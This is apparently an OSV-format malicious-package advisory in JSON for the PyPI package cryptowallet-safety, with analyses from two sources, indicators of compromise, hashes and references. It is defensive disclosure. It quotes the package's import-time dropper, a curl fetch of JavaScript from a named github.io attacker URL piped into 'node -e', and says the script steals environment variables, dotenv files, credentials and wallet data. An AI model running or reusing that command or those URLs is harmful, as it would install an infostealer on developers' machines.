{"id":"MAL-2026-4259","summary":"Malicious code in cryptowallet-safety (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (276a350e78e2602882e107586e33d617b3e392e3943c120d99d4213963d7fd9d)\nOn `import cryptowallet_safety`, the top-level `__init__.py` (lines 13-21) shells out to `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js` and pipes the response body directly into `node -e` for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as `pip download` / `pip wheel` / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys.\n\n## Source: kam193 (cd2f5a911cabd7312224175b40dfeaefc3ae0b83c21747f688e608cb1afd062f)\nDuring import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-05-eth-security-auditor\n\n\nReasons (based on the campaign):\n\n\n - files-exfiltration\n\n\n - exfiltration-env-variables\n\n\n - crypto-related\n\n\n - Downloads and executes a remote malicious script.\n\n\n - exfiltration-crypto\n\n\n - exfiltration-credentials\n","modified":"2026-05-26T06:03:09.212566027Z","published":"2026-05-22T20:30:44Z","database_specific":{"malicious-packages-origins":[{"source":"kam193","import_time":"2026-05-22T21:55:13.06737119Z","versions":["0.1.0"],"modified_time":"2026-05-22T21:31:52.286005Z","id":"pypi/2026-05-eth-security-auditor/cryptowallet-safety","sha256":"cd2f5a911cabd7312224175b40dfeaefc3ae0b83c21747f688e608cb1afd062f"},{"source":"kam193","versions":["0.1.0"],"modified_time":"2026-05-22T21:31:52.286005Z","id":"pypi/2026-05-eth-security-auditor/cryptowallet-safety","import_time":"2026-05-24T06:19:57.536326492Z","sha256":"3a4d7d7edd75dd9ba680a5a745dd9cfb9a6807ba1402568cbfee14ac2a2b6f1c"},{"source":"amazon-inspector","import_time":"2026-05-26T05:52:14.775214994Z","id":"IN-MAL-2026-004255","versions":["0.1.0"],"modified_time":"2026-05-22T20:30:44Z","sha256":"276a350e78e2602882e107586e33d617b3e392e3943c120d99d4213963d7fd9d"}],"iocs":{"urls":["https://ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner-light.js","https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js"],"domains":["ddjidd564.github.io"]}},"references":[{"type":"WEB","url":"https://github.com/ddjidd564"},{"type":"WEB","url":"https://github.com/ddjidd564/defi-security-best-practices/tree/gh-pages"},{"type":"WEB","url":"https://ddjidd564.github.io/defi-security-best-practices/wallet-verify.py"},{"type":"WEB","url":"https://github.com/orgs/modelcontextprotocol/discussions/761"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/cryptowallet-safety"},{"type":"PACKAGE","url":"https://pypi.org/project/cryptowallet-safety/0.1.0/"}],"affected":[{"package":{"name":"cryptowallet-safety","ecosystem":"PyPI","purl":"pkg:pypi/cryptowallet-safety"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/cryptowallet-safety/MAL-2026-4259.json","indicators":{"evidence_files":[{"tlsh":"08711035583a2969f342c07e08297249625c31c37d8d3c30ba9cf15a9fec079ecb66b8","path":"cryptowallet_safety/__init__.py","sha256":"2a49c49da89e10b0bc4391600857911c617f471908a8a6e0bc89b0ddd7a29bbc"}],"package_integrity":[{"hashes":{"md5":"c8aca73bf3eb27e25dfb67fad2a050dd","blake2b_256":"e7996a5e56bb97cd47c5662c649045c1c72e6e0da11de4335ce42974dbf408cf","sha256":"ebad1e3186132b2892da38a92fb38e0e6e697e53e080adb8d2fbb899b93dc8ec"},"filename":"cryptowallet_safety-0.1.0-py3-none-any.whl"}]},"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}